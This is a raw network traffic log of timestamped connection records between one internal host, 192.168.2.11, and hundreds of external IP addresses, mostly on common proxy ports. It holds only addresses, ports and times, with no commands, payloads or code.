Mar 11, 2024 16:42:19.985378981 CET	50753	47354	192.168.2.11	67.213.212.49
Mar 11, 2024 16:42:19.985430956 CET	50575	4153	192.168.2.11	185.22.31.227
Mar 11, 2024 16:42:19.985469103 CET	50484	3128	192.168.2.11	84.17.51.241
Mar 11, 2024 16:42:19.985610008 CET	49717	9375	192.168.2.11	92.204.134.38
Mar 11, 2024 16:42:19.986049891 CET	3129	49733	20.219.180.149	192.168.2.11
Mar 11, 2024 16:42:19.986130953 CET	8081	50830	193.239.56.84	192.168.2.11
Mar 11, 2024 16:42:19.986181021 CET	50830	8081	192.168.2.11	193.239.56.84
Mar 11, 2024 16:42:19.986181974 CET	8081	50830	193.239.56.84	192.168.2.11
Mar 11, 2024 16:42:19.986224890 CET	50830	8081	192.168.2.11	193.239.56.84
Mar 11, 2024 16:42:19.986665010 CET	51149	8081	192.168.2.11	193.239.56.84
Mar 11, 2024 16:42:19.986684084 CET	31247	50347	202.40.181.220	192.168.2.11
Mar 11, 2024 16:42:19.989984989 CET	8888	50425	188.166.30.17	192.168.2.11
Mar 11, 2024 16:42:19.991972923 CET	16691	50500	92.204.136.149	192.168.2.11
Mar 11, 2024 16:42:19.992438078 CET	18067	49949	72.10.164.178	192.168.2.11
Mar 11, 2024 16:42:19.992775917 CET	26353	49950	67.43.227.228	192.168.2.11
Mar 11, 2024 16:42:19.994982004 CET	5678	49927	181.78.13.91	192.168.2.11
Mar 11, 2024 16:42:19.996017933 CET	31247	50945	202.40.181.220	192.168.2.11
Mar 11, 2024 16:42:19.996094942 CET	50945	31247	192.168.2.11	202.40.181.220
Mar 11, 2024 16:42:19.996237040 CET	50945	31247	192.168.2.11	202.40.181.220
Mar 11, 2024 16:42:19.996695042 CET	80	50922	209.126.6.159	192.168.2.11
Mar 11, 2024 16:42:19.997627974 CET	55994	50555	38.127.172.219	192.168.2.11
Mar 11, 2024 16:42:19.998639107 CET	80	50241	37.120.189.106	192.168.2.11
Mar 11, 2024 16:42:19.998651981 CET	34560	50549	108.181.132.117	192.168.2.11
Mar 11, 2024 16:42:19.998713970 CET	50241	80	192.168.2.11	37.120.189.106
Mar 11, 2024 16:42:19.998814106 CET	50241	80	192.168.2.11	37.120.189.106
Mar 11, 2024 16:42:20.001008034 CET	49946	4145	192.168.2.11	36.90.61.224
Mar 11, 2024 16:42:20.001012087 CET	50818	8080	192.168.2.11	177.229.210.50
Mar 11, 2024 16:42:20.001044035 CET	50495	3128	192.168.2.11	107.155.65.11
Mar 11, 2024 16:42:20.001045942 CET	50104	17893	192.168.2.11	72.10.160.90
Mar 11, 2024 16:42:20.001045942 CET	50147	4145	192.168.2.11	184.170.249.65
Mar 11, 2024 16:42:20.001045942 CET	50098	7853	192.168.2.11	67.43.228.253
Mar 11, 2024 16:42:20.001048088 CET	50131	14921	192.168.2.11	192.252.211.197
Mar 11, 2024 16:42:20.001048088 CET	49993	37355	192.168.2.11	167.172.109.12
Mar 11, 2024 16:42:20.001048088 CET	50496	5678	192.168.2.11	197.251.236.227
Mar 11, 2024 16:42:20.001166105 CET	50497	4153	192.168.2.11	109.86.220.12
Mar 11, 2024 16:42:20.001168013 CET	50498	17982	192.168.2.11	51.89.173.40
Mar 11, 2024 16:42:20.001168013 CET	50721	8080	192.168.2.11	51.68.220.201
Mar 11, 2024 16:42:20.002099037 CET	1081	50545	5.252.23.220	192.168.2.11
Mar 11, 2024 16:42:20.002573967 CET	46783	50574	162.241.158.204	192.168.2.11
Mar 11, 2024 16:42:20.003494978 CET	4145	51034	199.229.254.129	192.168.2.11
Mar 11, 2024 16:42:20.005826950 CET	80	50985	103.197.71.7	192.168.2.11
Mar 11, 2024 16:42:20.005939960 CET	50985	80	192.168.2.11	103.197.71.7
Mar 11, 2024 16:42:20.006141901 CET	50985	80	192.168.2.11	103.197.71.7
Mar 11, 2024 16:42:20.007359028 CET	5123	50512	72.10.160.92	192.168.2.11
Mar 11, 2024 16:42:20.007519007 CET	24397	50534	72.10.160.90	192.168.2.11
Mar 11, 2024 16:42:20.009210110 CET	36363	51025	51.222.241.157	192.168.2.11
Mar 11, 2024 16:42:20.012254953 CET	999	50490	190.71.24.129	192.168.2.11
Mar 11, 2024 16:42:20.012384892 CET	3128	50569	3.212.148.199	192.168.2.11
Mar 11, 2024 16:42:20.012739897 CET	1081	50545	5.252.23.220	192.168.2.11
Mar 11, 2024 16:42:20.013530016 CET	60651	50601	162.241.6.97	192.168.2.11
Mar 11, 2024 16:42:20.016524076 CET	80	50997	50.169.118.209	192.168.2.11
Mar 11, 2024 16:42:20.016638994 CET	50826	18129	192.168.2.11	67.43.236.20
Mar 11, 2024 16:42:20.016645908 CET	49752	40351	192.168.2.11	51.222.241.157
Mar 11, 2024 16:42:20.016648054 CET	50757	46919	192.168.2.11	51.15.16.96
Mar 11, 2024 16:42:20.016664028 CET	50115	24279	192.168.2.11	67.43.228.251
Mar 11, 2024 16:42:20.016669035 CET	50503	80	192.168.2.11	35.196.18.239
Mar 11, 2024 16:42:20.016689062 CET	50679	1080	192.168.2.11	195.98.93.234
Mar 11, 2024 16:42:20.016689062 CET	50738	64523	192.168.2.11	46.105.44.29
Mar 11, 2024 16:42:20.016690969 CET	49753	30951	192.168.2.11	72.10.160.90
Mar 11, 2024 16:42:20.016714096 CET	49775	80	192.168.2.11	50.239.72.18
Mar 11, 2024 16:42:20.016724110 CET	80	49933	50.168.163.166	192.168.2.11
Mar 11, 2024 16:42:20.017107010 CET	1081	50988	5.252.23.220	192.168.2.11
Mar 11, 2024 16:42:20.017169952 CET	50988	1081	192.168.2.11	5.252.23.220
Mar 11, 2024 16:42:20.017330885 CET	50988	1081	192.168.2.11	5.252.23.220
Mar 11, 2024 16:42:20.019821882 CET	50766	80	192.168.2.11	50.170.90.34
Mar 11, 2024 16:42:20.020375967 CET	8880	50481	95.66.138.21	192.168.2.11
Mar 11, 2024 16:42:20.020467043 CET	8880	50481	95.66.138.21	192.168.2.11
Mar 11, 2024 16:42:20.020486116 CET	50481	8880	192.168.2.11	95.66.138.21
Mar 11, 2024 16:42:20.020534992 CET	50481	8880	192.168.2.11	95.66.138.21
Mar 11, 2024 16:42:20.022552013 CET	8888	50150	36.134.91.82	192.168.2.11
Mar 11, 2024 16:42:20.022614956 CET	8080	50809	115.96.208.124	192.168.2.11
Mar 11, 2024 16:42:20.022699118 CET	50150	8888	192.168.2.11	36.134.91.82
Mar 11, 2024 16:42:20.022754908 CET	50150	8888	192.168.2.11	36.134.91.82
Mar 11, 2024 16:42:20.023022890 CET	51150	8888	192.168.2.11	36.134.91.82
Mar 11, 2024 16:42:20.023092985 CET	5529	50561	72.10.164.178	192.168.2.11
Mar 11, 2024 16:42:20.023139000 CET	17145	49964	67.43.236.18	192.168.2.11
Mar 11, 2024 16:42:20.023164988 CET	80	50551	198.44.255.3	192.168.2.11
Mar 11, 2024 16:42:20.023210049 CET	80	50551	198.44.255.3	192.168.2.11
Mar 11, 2024 16:42:20.024236917 CET	443	50832	222.255.238.159	192.168.2.11
Mar 11, 2024 16:42:20.025450945 CET	8080	50809	115.96.208.124	192.168.2.11
Mar 11, 2024 16:42:20.025861025 CET	50809	8080	192.168.2.11	115.96.208.124
Mar 11, 2024 16:42:20.028265953 CET	1080	50831	138.36.150.16	192.168.2.11
Mar 11, 2024 16:42:20.028706074 CET	5678	49751	122.152.53.25	192.168.2.11
Mar 11, 2024 16:42:20.028739929 CET	1080	50831	138.36.150.16	192.168.2.11
Mar 11, 2024 16:42:20.029443026 CET	51151	1080	192.168.2.11	138.36.150.16
Mar 11, 2024 16:42:20.029786110 CET	51152	80	192.168.2.11	46.249.0.189
Mar 11, 2024 16:42:20.029860973 CET	80	50987	198.44.255.3	192.168.2.11
Mar 11, 2024 16:42:20.029941082 CET	50987	80	192.168.2.11	198.44.255.3
Mar 11, 2024 16:42:20.029978991 CET	80	50849	52.67.10.183	192.168.2.11
Mar 11, 2024 16:42:20.030088902 CET	50987	80	192.168.2.11	198.44.255.3
Mar 11, 2024 16:42:20.030561924 CET	51153	26606	192.168.2.11	132.148.128.88
Mar 11, 2024 16:42:20.030852079 CET	51154	49227	192.168.2.11	162.214.225.223
Mar 11, 2024 16:42:20.030994892 CET	80	49893	50.223.239.166	192.168.2.11
Mar 11, 2024 16:42:20.031238079 CET	51155	80	192.168.2.11	138.68.235.51
Mar 11, 2024 16:42:20.031455994 CET	51156	29477	192.168.2.11	67.43.236.21
Mar 11, 2024 16:42:20.031610966 CET	51157	34916	192.168.2.11	161.97.163.52
Mar 11, 2024 16:42:20.031836033 CET	80	50849	52.67.10.183	192.168.2.11
Mar 11, 2024 16:42:20.032144070 CET	50849	80	192.168.2.11	52.67.10.183
Mar 11, 2024 16:42:20.032229900 CET	50528	80	192.168.2.11	152.32.132.220
Mar 11, 2024 16:42:20.032241106 CET	50167	41274	192.168.2.11	162.241.158.204
Mar 11, 2024 16:42:20.032255888 CET	50121	1431	192.168.2.11	72.10.164.178
Mar 11, 2024 16:42:20.032258987 CET	50501	8080	192.168.2.11	14.143.172.238
Mar 11, 2024 16:42:20.032278061 CET	50505	80	192.168.2.11	172.173.132.85
Mar 11, 2024 16:42:20.032279968 CET	50507	9002	192.168.2.11	120.197.40.219
Mar 11, 2024 16:42:20.032279968 CET	50124	10363	192.168.2.11	67.43.236.20
Mar 11, 2024 16:42:20.032304049 CET	50516	3629	192.168.2.11	185.215.53.241
Mar 11, 2024 16:42:20.032305002 CET	50513	52903	192.168.2.11	203.161.32.242
Mar 11, 2024 16:42:20.032305956 CET	50506	4019	192.168.2.11	171.235.166.222
Mar 11, 2024 16:42:20.032305002 CET	50518	8080	192.168.2.11	103.164.58.190
Mar 11, 2024 16:42:20.032305956 CET	50515	80	192.168.2.11	115.244.127.162
Mar 11, 2024 16:42:20.032305956 CET	50221	4145	192.168.2.11	199.102.106.94
Mar 11, 2024 16:42:20.032306910 CET	50509	1981	192.168.2.11	156.200.116.71
Mar 11, 2024 16:42:20.032310009 CET	50508	80	192.168.2.11	3.128.142.113
Mar 11, 2024 16:42:20.032310009 CET	50511	25256	192.168.2.11	94.23.220.136
Mar 11, 2024 16:42:20.032330036 CET	50504	1080	192.168.2.11	103.47.93.236
Mar 11, 2024 16:42:20.032330036 CET	50525	5678	192.168.2.11	36.95.189.165
Mar 11, 2024 16:42:20.032330036 CET	50527	21802	192.168.2.11	34.93.157.87
Mar 11, 2024 16:42:20.032330036 CET	50520	9999	192.168.2.11	102.134.181.142
Mar 11, 2024 16:42:20.032335043 CET	50524	2906	192.168.2.11	148.72.209.174
Mar 11, 2024 16:42:20.032335997 CET	50519	8080	192.168.2.11	213.244.91.179
Mar 11, 2024 16:42:20.032335997 CET	50522	80	192.168.2.11	188.166.56.246
Mar 11, 2024 16:42:20.032335997 CET	50530	9812	192.168.2.11	12.7.109.1
Mar 11, 2024 16:42:20.032356024 CET	50526	8080	192.168.2.11	20.205.115.87
Mar 11, 2024 16:42:20.032397032 CET	50531	25810	192.168.2.11	146.59.18.246
Mar 11, 2024 16:42:20.032397032 CET	50529	3128	192.168.2.11	91.233.223.147
Mar 11, 2024 16:42:20.032514095 CET	51158	8080	192.168.2.11	180.191.16.5
Mar 11, 2024 16:42:20.032558918 CET	999	50367	189.173.223.225	192.168.2.11
Mar 11, 2024 16:42:20.032617092 CET	50367	999	192.168.2.11	189.173.223.225
Mar 11, 2024 16:42:20.032843113 CET	50367	999	192.168.2.11	189.173.223.225
Mar 11, 2024 16:42:20.032911062 CET	42571	50340	92.204.134.38	192.168.2.11
Mar 11, 2024 16:42:20.032960892 CET	50340	42571	192.168.2.11	92.204.134.38
Mar 11, 2024 16:42:20.033090115 CET	50340	42571	192.168.2.11	92.204.134.38
Mar 11, 2024 16:42:20.033545017 CET	51159	15291	192.168.2.11	184.178.172.25
Mar 11, 2024 16:42:20.033823967 CET	51160	1080	192.168.2.11	165.227.112.138
Mar 11, 2024 16:42:20.034092903 CET	51161	999	192.168.2.11	170.80.242.98
Mar 11, 2024 16:42:20.034372091 CET	51162	5678	192.168.2.11	94.154.221.91
Mar 11, 2024 16:42:20.034543037 CET	80	50614	58.234.116.197	192.168.2.11
Mar 11, 2024 16:42:20.034712076 CET	51163	10513	192.168.2.11	66.29.128.243
Mar 11, 2024 16:42:20.034919024 CET	51164	16744	192.168.2.11	166.62.87.148
Mar 11, 2024 16:42:20.035154104 CET	51165	80	192.168.2.11	210.156.35.196
Mar 11, 2024 16:42:20.035365105 CET	51166	57676	192.168.2.11	67.227.186.23
Mar 11, 2024 16:42:20.036761045 CET	4145	50914	190.153.121.2	192.168.2.11
Mar 11, 2024 16:42:20.036815882 CET	50914	4145	192.168.2.11	190.153.121.2
Mar 11, 2024 16:42:20.037199974 CET	4145	50914	190.153.121.2	192.168.2.11
Mar 11, 2024 16:42:20.037456989 CET	45629	51053	162.241.6.97	192.168.2.11
Mar 11, 2024 16:42:20.037839890 CET	50914	4145	192.168.2.11	190.153.121.2
Mar 11, 2024 16:42:20.037945032 CET	7302	50216	124.163.236.54	192.168.2.11
Mar 11, 2024 16:42:20.041785002 CET	80	51000	104.16.104.12	192.168.2.11
Mar 11, 2024 16:42:20.042054892 CET	80	51000	104.16.104.12	192.168.2.11
Mar 11, 2024 16:42:20.042459965 CET	80	51000	104.16.104.12	192.168.2.11
Mar 11, 2024 16:42:20.043597937 CET	80	51009	172.67.182.96	192.168.2.11
Mar 11, 2024 16:42:20.043611050 CET	80	51009	172.67.182.96	192.168.2.11
Mar 11, 2024 16:42:20.043679953 CET	51000	80	192.168.2.11	104.16.104.12
Mar 11, 2024 16:42:20.044235945 CET	80	51009	172.67.182.96	192.168.2.11
Mar 11, 2024 16:42:20.045850992 CET	51009	80	192.168.2.11	172.67.182.96
Mar 11, 2024 16:42:20.045919895 CET	4145	50901	184.181.217.194	192.168.2.11
Mar 11, 2024 16:42:20.046005011 CET	4145	50901	184.181.217.194	192.168.2.11
Mar 11, 2024 16:42:20.046017885 CET	8888	50993	31.43.158.108	192.168.2.11
Mar 11, 2024 16:42:20.046094894 CET	50993	8888	192.168.2.11	31.43.158.108
Mar 11, 2024 16:42:20.046205997 CET	8888	50542	31.43.158.108	192.168.2.11
Mar 11, 2024 16:42:20.046217918 CET	8888	50542	31.43.158.108	192.168.2.11
Mar 11, 2024 16:42:20.046746969 CET	51167	4145	192.168.2.11	190.153.121.2
Mar 11, 2024 16:42:20.047625065 CET	51168	4145	192.168.2.11	184.181.217.194
Mar 11, 2024 16:42:20.047895908 CET	50268	80	192.168.2.11	12.176.231.147
Mar 11, 2024 16:42:20.047895908 CET	50778	59623	192.168.2.11	62.182.114.164
Mar 11, 2024 16:42:20.047895908 CET	50537	4145	192.168.2.11	184.181.217.206
Mar 11, 2024 16:42:20.047899008 CET	50535	22450	192.168.2.11	50.63.12.33
Mar 11, 2024 16:42:20.047919035 CET	50514	80	192.168.2.11	51.75.74.18
Mar 11, 2024 16:42:20.047919035 CET	50559	39095	192.168.2.11	192.163.200.82
Mar 11, 2024 16:42:20.047921896 CET	50533	8893	192.168.2.11	186.215.87.194
Mar 11, 2024 16:42:20.047923088 CET	50547	25525	192.168.2.11	162.19.7.61
Mar 11, 2024 16:42:20.047925949 CET	50544	999	192.168.2.11	179.1.133.33
Mar 11, 2024 16:42:20.047931910 CET	50548	999	192.168.2.11	168.90.255.60
Mar 11, 2024 16:42:20.047954082 CET	50552	3629	192.168.2.11	46.23.53.164
Mar 11, 2024 16:42:20.047955990 CET	50564	47056	192.168.2.11	45.81.232.17
Mar 11, 2024 16:42:20.047955990 CET	50562	1080	192.168.2.11	45.234.100.112
Mar 11, 2024 16:42:20.048532009 CET	50993	8888	192.168.2.11	31.43.158.108
Mar 11, 2024 16:42:20.048595905 CET	51000	80	192.168.2.11	104.16.104.12
Mar 11, 2024 16:42:20.048787117 CET	51009	80	192.168.2.11	172.67.182.96
Mar 11, 2024 16:42:20.050967932 CET	51169	8080	192.168.2.11	217.172.122.14
Mar 11, 2024 16:42:20.051320076 CET	51170	80	192.168.2.11	142.11.222.22
Mar 11, 2024 16:42:20.052867889 CET	80	49889	50.174.145.11	192.168.2.11
Mar 11, 2024 16:42:20.053545952 CET	51171	999	192.168.2.11	187.102.238.49
Mar 11, 2024 16:42:20.053867102 CET	80	50881	47.242.234.237	192.168.2.11
Mar 11, 2024 16:42:20.053956032 CET	80	50881	47.242.234.237	192.168.2.11
Mar 11, 2024 16:42:20.054023981 CET	50881	80	192.168.2.11	47.242.234.237
Mar 11, 2024 16:42:20.054045916 CET	25639	49982	67.43.227.226	192.168.2.11
Mar 11, 2024 16:42:20.054078102 CET	50881	80	192.168.2.11	47.242.234.237
Mar 11, 2024 16:42:20.054311991 CET	51172	80	192.168.2.11	47.242.234.237
Mar 11, 2024 16:42:20.056155920 CET	51173	54917	192.168.2.11	162.214.225.223
Mar 11, 2024 16:42:20.056616068 CET	51174	80	192.168.2.11	104.19.247.62
Mar 11, 2024 16:42:20.058485985 CET	3128	50998	185.174.137.30	192.168.2.11
Mar 11, 2024 16:42:20.059246063 CET	51175	8089	192.168.2.11	111.225.152.191
Mar 11, 2024 16:42:20.059596062 CET	51176	40750	192.168.2.11	209.126.104.38
Mar 11, 2024 16:42:20.061150074 CET	51177	60103	192.168.2.11	95.165.163.188
Mar 11, 2024 16:42:20.061515093 CET	80	50220	195.23.57.78	192.168.2.11
Mar 11, 2024 16:42:20.062763929 CET	1080	51014	27.0.234.206	192.168.2.11
Mar 11, 2024 16:42:20.062778950 CET	80	50476	50.217.226.45	192.168.2.11
Mar 11, 2024 16:42:20.062886953 CET	51014	1080	192.168.2.11	27.0.234.206
Mar 11, 2024 16:42:20.062926054 CET	51014	1080	192.168.2.11	27.0.234.206
Mar 11, 2024 16:42:20.063477039 CET	50398	80	192.168.2.11	36.92.193.189
Mar 11, 2024 16:42:20.063510895 CET	50553	31409	192.168.2.11	121.139.218.165
Mar 11, 2024 16:42:20.063512087 CET	50558	4153	192.168.2.11	176.197.144.158
Mar 11, 2024 16:42:20.063513041 CET	50155	59268	192.168.2.11	67.213.212.50
Mar 11, 2024 16:42:20.063512087 CET	50538	999	192.168.2.11	167.250.222.233
Mar 11, 2024 16:42:20.063512087 CET	50541	8089	192.168.2.11	223.247.47.231
Mar 11, 2024 16:42:20.063538074 CET	49931	80	192.168.2.11	45.139.11.200
Mar 11, 2024 16:42:20.063538074 CET	50540	85	192.168.2.11	43.255.113.232
Mar 11, 2024 16:42:20.063538074 CET	50565	3128	192.168.2.11	198.199.122.10
Mar 11, 2024 16:42:20.063543081 CET	50158	21777	192.168.2.11	51.222.84.118
Mar 11, 2024 16:42:20.063543081 CET	50569	3128	192.168.2.11	3.212.148.199
Mar 11, 2024 16:42:20.063546896 CET	50576	42647	192.168.2.11	185.66.59.4
Mar 11, 2024 16:42:20.063548088 CET	50568	8080	192.168.2.11	103.140.34.61
Mar 11, 2024 16:42:20.063546896 CET	50577	1256	192.168.2.11	188.133.155.215
Mar 11, 2024 16:42:20.063570023 CET	49768	4495	192.168.2.11	67.43.228.252
Mar 11, 2024 16:42:20.063570023 CET	50581	3128	192.168.2.11	176.113.73.99
Mar 11, 2024 16:42:20.063570023 CET	50554	16379	192.168.2.11	163.172.137.49
Mar 11, 2024 16:42:20.063570023 CET	50589	46296	192.168.2.11	46.101.5.73
Mar 11, 2024 16:42:20.063571930 CET	50583	8080	192.168.2.11	85.172.0.30
Mar 11, 2024 16:42:20.063575029 CET	50556	80	192.168.2.11	51.161.56.52
Mar 11, 2024 16:42:20.063575029 CET	50566	45534	192.168.2.11	209.250.248.127
Mar 11, 2024 16:42:20.063575029 CET	50570	56225	192.168.2.11	104.238.111.107
Mar 11, 2024 16:42:20.063587904 CET	50591	5896	192.168.2.11	94.23.168.246
Mar 11, 2024 16:42:20.063589096 CET	50578	18080	192.168.2.11	54.178.159.199
Mar 11, 2024 16:42:20.063853979 CET	58703	51042	67.213.210.118	192.168.2.11
Mar 11, 2024 16:42:20.066502094 CET	9091	49996	120.37.121.209	192.168.2.11
Mar 11, 2024 16:42:20.066514969 CET	9091	49996	120.37.121.209	192.168.2.11
Mar 11, 2024 16:42:20.066525936 CET	9091	49996	120.37.121.209	192.168.2.11
Mar 11, 2024 16:42:20.066575050 CET	49996	9091	192.168.2.11	120.37.121.209
Mar 11, 2024 16:42:20.066775084 CET	49996	9091	192.168.2.11	120.37.121.209
Mar 11, 2024 16:42:20.069237947 CET	1080	50594	27.0.234.206	192.168.2.11
Mar 11, 2024 16:42:20.069251060 CET	26887	51064	72.10.160.170	192.168.2.11
Mar 11, 2024 16:42:20.070436954 CET	10801	50650	72.10.164.178	192.168.2.11
Mar 11, 2024 16:42:20.071501970 CET	4145	51040	72.210.221.197	192.168.2.11
Mar 11, 2024 16:42:20.071573019 CET	51178	8080	192.168.2.11	45.201.134.38
Mar 11, 2024 16:42:20.071573973 CET	51040	4145	192.168.2.11	72.210.221.197
Mar 11, 2024 16:42:20.071594954 CET	80	51104	154.208.10.126	192.168.2.11
Mar 11, 2024 16:42:20.071643114 CET	51104	80	192.168.2.11	154.208.10.126
Mar 11, 2024 16:42:20.071811914 CET	51040	4145	192.168.2.11	72.210.221.197
Mar 11, 2024 16:42:20.071949959 CET	51104	80	192.168.2.11	154.208.10.126
Mar 11, 2024 16:42:20.072773933 CET	51179	11793	192.168.2.11	209.97.176.112
Mar 11, 2024 16:42:20.073370934 CET	4145	50393	103.58.16.57	192.168.2.11
Mar 11, 2024 16:42:20.073523998 CET	51180	15410	192.168.2.11	72.167.38.7
Mar 11, 2024 16:42:20.073925972 CET	51181	43265	192.168.2.11	162.214.225.223
Mar 11, 2024 16:42:20.074198008 CET	51182	8080	192.168.2.11	103.83.80.67
Mar 11, 2024 16:42:20.074512959 CET	51183	5678	192.168.2.11	46.231.72.35
Mar 11, 2024 16:42:20.074760914 CET	50569	3128	192.168.2.11	3.212.148.199
Mar 11, 2024 16:42:20.075189114 CET	6821	50406	198.12.255.193	192.168.2.11
Mar 11, 2024 16:42:20.075290918 CET	50406	6821	192.168.2.11	198.12.255.193
Mar 11, 2024 16:42:20.075408936 CET	50406	6821	192.168.2.11	198.12.255.193
Mar 11, 2024 16:42:20.077131987 CET	49824	3128	192.168.2.11	15.236.106.236
Mar 11, 2024 16:42:20.077466011 CET	80	50752	50.207.199.80	192.168.2.11
Mar 11, 2024 16:42:20.077477932 CET	8888	51073	66.45.246.194	192.168.2.11
Mar 11, 2024 16:42:20.077538967 CET	51073	8888	192.168.2.11	66.45.246.194
Mar 11, 2024 16:42:20.077877045 CET	51073	8888	192.168.2.11	66.45.246.194
Mar 11, 2024 16:42:20.077902079 CET	1929	51071	72.10.164.178	192.168.2.11
Mar 11, 2024 16:42:20.078471899 CET	51184	29985	192.168.2.11	154.12.178.107
Mar 11, 2024 16:42:20.078706980 CET	3128	49877	160.16.90.35	192.168.2.11
Mar 11, 2024 16:42:20.079121113 CET	50808	38817	192.168.2.11	77.48.23.181
Mar 11, 2024 16:42:20.079119921 CET	50572	19802	192.168.2.11	72.167.38.7
Mar 11, 2024 16:42:20.079123020 CET	50571	8080	192.168.2.11	103.111.136.110
Mar 11, 2024 16:42:20.079153061 CET	50175	13477	192.168.2.11	72.10.164.178
Mar 11, 2024 16:42:20.079153061 CET	50761	8081	192.168.2.11	178.141.249.246
Mar 11, 2024 16:42:20.079154015 CET	50595	16379	192.168.2.11	51.158.108.165
Mar 11, 2024 16:42:20.079154015 CET	50604	80	192.168.2.11	51.222.155.142
Mar 11, 2024 16:42:20.079154015 CET	50606	9292	192.168.2.11	45.232.79.0
Mar 11, 2024 16:42:20.079155922 CET	50585	51507	192.168.2.11	135.148.10.161
Mar 11, 2024 16:42:20.079157114 CET	49871	34144	192.168.2.11	51.75.126.150
Mar 11, 2024 16:42:20.079163074 CET	50580	8080	192.168.2.11	5.58.97.89
Mar 11, 2024 16:42:20.079164028 CET	50579	23711	192.168.2.11	45.81.232.17
Mar 11, 2024 16:42:20.079266071 CET	49978	8080	192.168.2.11	92.118.132.125
Mar 11, 2024 16:42:20.079266071 CET	50608	63055	192.168.2.11	51.161.131.84
Mar 11, 2024 16:42:20.079267025 CET	50618	999	192.168.2.11	45.65.138.48
Mar 11, 2024 16:42:20.079266071 CET	50600	16379	192.168.2.11	51.158.96.66
Mar 11, 2024 16:42:20.079267979 CET	50613	38242	192.168.2.11	162.144.36.208
Mar 11, 2024 16:42:20.079267979 CET	50607	3629	192.168.2.11	103.144.209.104
Mar 11, 2024 16:42:20.079267979 CET	50611	54047	192.168.2.11	162.214.227.68
Mar 11, 2024 16:42:20.079267979 CET	49797	80	192.168.2.11	50.239.72.19
Mar 11, 2024 16:42:20.080526114 CET	51185	25492	192.168.2.11	50.63.12.33
Mar 11, 2024 16:42:20.081085920 CET	18080	51019	60.188.102.225	192.168.2.11
Mar 11, 2024 16:42:20.081156969 CET	51019	18080	192.168.2.11	60.188.102.225
Mar 11, 2024 16:42:20.081348896 CET	51019	18080	192.168.2.11	60.188.102.225
Mar 11, 2024 16:42:20.083632946 CET	4145	50927	174.64.199.79	192.168.2.11
Mar 11, 2024 16:42:20.083887100 CET	4145	50927	174.64.199.79	192.168.2.11
Mar 11, 2024 16:42:20.084796906 CET	51186	4145	192.168.2.11	174.64.199.79
Mar 11, 2024 16:42:20.085011959 CET	3129	50126	45.134.80.222	192.168.2.11
Mar 11, 2024 16:42:20.085495949 CET	80	51076	50.168.72.113	192.168.2.11
Mar 11, 2024 16:42:20.085541010 CET	3128	51037	160.16.90.35	192.168.2.11
Mar 11, 2024 16:42:20.085650921 CET	51037	3128	192.168.2.11	160.16.90.35
Mar 11, 2024 16:42:20.085841894 CET	4145	50373	72.195.114.169	192.168.2.11
Mar 11, 2024 16:42:20.085860968 CET	51037	3128	192.168.2.11	160.16.90.35
Mar 11, 2024 16:42:20.085894108 CET	50373	4145	192.168.2.11	72.195.114.169
Mar 11, 2024 16:42:20.086149931 CET	50373	4145	192.168.2.11	72.195.114.169
Mar 11, 2024 16:42:20.086396933 CET	29197	50663	72.10.160.90	192.168.2.11
Mar 11, 2024 16:42:20.091228962 CET	4145	50703	198.8.94.170	192.168.2.11
Mar 11, 2024 16:42:20.092536926 CET	80	51126	104.16.224.33	192.168.2.11
Mar 11, 2024 16:42:20.092653990 CET	51126	80	192.168.2.11	104.16.224.33
Mar 11, 2024 16:42:20.092808008 CET	51126	80	192.168.2.11	104.16.224.33
Mar 11, 2024 16:42:20.092828989 CET	80	51022	45.12.30.231	192.168.2.11
Mar 11, 2024 16:42:20.092955112 CET	80	51022	45.12.30.231	192.168.2.11
Mar 11, 2024 16:42:20.093065023 CET	5678	50272	103.112.254.66	192.168.2.11
Mar 11, 2024 16:42:20.093142986 CET	51022	80	192.168.2.11	45.12.30.231
Mar 11, 2024 16:42:20.093226910 CET	80	51022	45.12.30.231	192.168.2.11
Mar 11, 2024 16:42:20.093270063 CET	51022	80	192.168.2.11	45.12.30.231
Mar 11, 2024 16:42:20.094322920 CET	15673	50977	198.23.229.203	192.168.2.11
Mar 11, 2024 16:42:20.094499111 CET	15673	50977	198.23.229.203	192.168.2.11
Mar 11, 2024 16:42:20.094748020 CET	50599	60148	192.168.2.11	207.180.198.241
Mar 11, 2024 16:42:20.094748020 CET	50597	8080	192.168.2.11	102.164.252.145
Mar 11, 2024 16:42:20.094767094 CET	49777	28971	192.168.2.11	67.43.228.254
Mar 11, 2024 16:42:20.094768047 CET	50605	38772	192.168.2.11	213.136.79.177
Mar 11, 2024 16:42:20.094768047 CET	50610	8080	192.168.2.11	185.128.153.10
Mar 11, 2024 16:42:20.094770908 CET	50603	80	192.168.2.11	41.77.188.131
Mar 11, 2024 16:42:20.094770908 CET	50805	4145	192.168.2.11	185.169.181.25
Mar 11, 2024 16:42:20.094785929 CET	50621	64312	192.168.2.11	104.128.103.32
Mar 11, 2024 16:42:20.094786882 CET	50619	8004	192.168.2.11	128.199.221.91
Mar 11, 2024 16:42:20.094786882 CET	50616	27138	192.168.2.11	173.212.209.216
Mar 11, 2024 16:42:20.094786882 CET	50617	8080	192.168.2.11	1.0.205.87
Mar 11, 2024 16:42:20.094805002 CET	50637	80	192.168.2.11	37.120.187.59
Mar 11, 2024 16:42:20.094809055 CET	50615	8901	192.168.2.11	178.23.192.249
Mar 11, 2024 16:42:20.094809055 CET	50622	1111	192.168.2.11	103.189.249.196
Mar 11, 2024 16:42:20.094810009 CET	50624	8079	192.168.2.11	94.154.152.4
Mar 11, 2024 16:42:20.094810963 CET	50628	4153	192.168.2.11	185.171.55.218
Mar 11, 2024 16:42:20.094810963 CET	50629	25675	192.168.2.11	92.204.134.38
Mar 11, 2024 16:42:20.094827890 CET	50635	16379	192.168.2.11	51.158.124.167
Mar 11, 2024 16:42:20.094835997 CET	50630	8001	192.168.2.11	213.171.214.19
Mar 11, 2024 16:42:20.094836950 CET	50632	2016	192.168.2.11	103.174.178.137
Mar 11, 2024 16:42:20.094835997 CET	50634	1080	192.168.2.11	77.37.155.85
Mar 11, 2024 16:42:20.094835997 CET	50639	8080	192.168.2.11	139.5.73.71
Mar 11, 2024 16:42:20.094846010 CET	50644	40571	192.168.2.11	216.10.242.18
Mar 11, 2024 16:42:20.094851017 CET	50641	6012	192.168.2.11	45.11.95.165
Mar 11, 2024 16:42:20.094852924 CET	50646	4153	192.168.2.11	202.44.228.36
Mar 11, 2024 16:42:20.095797062 CET	51187	15673	192.168.2.11	198.23.229.203
Mar 11, 2024 16:42:20.097440958 CET	8080	50854	91.202.230.219	192.168.2.11
Mar 11, 2024 16:42:20.097548008 CET	3128	51116	138.68.60.8	192.168.2.11
Mar 11, 2024 16:42:20.097598076 CET	51116	3128	192.168.2.11	138.68.60.8
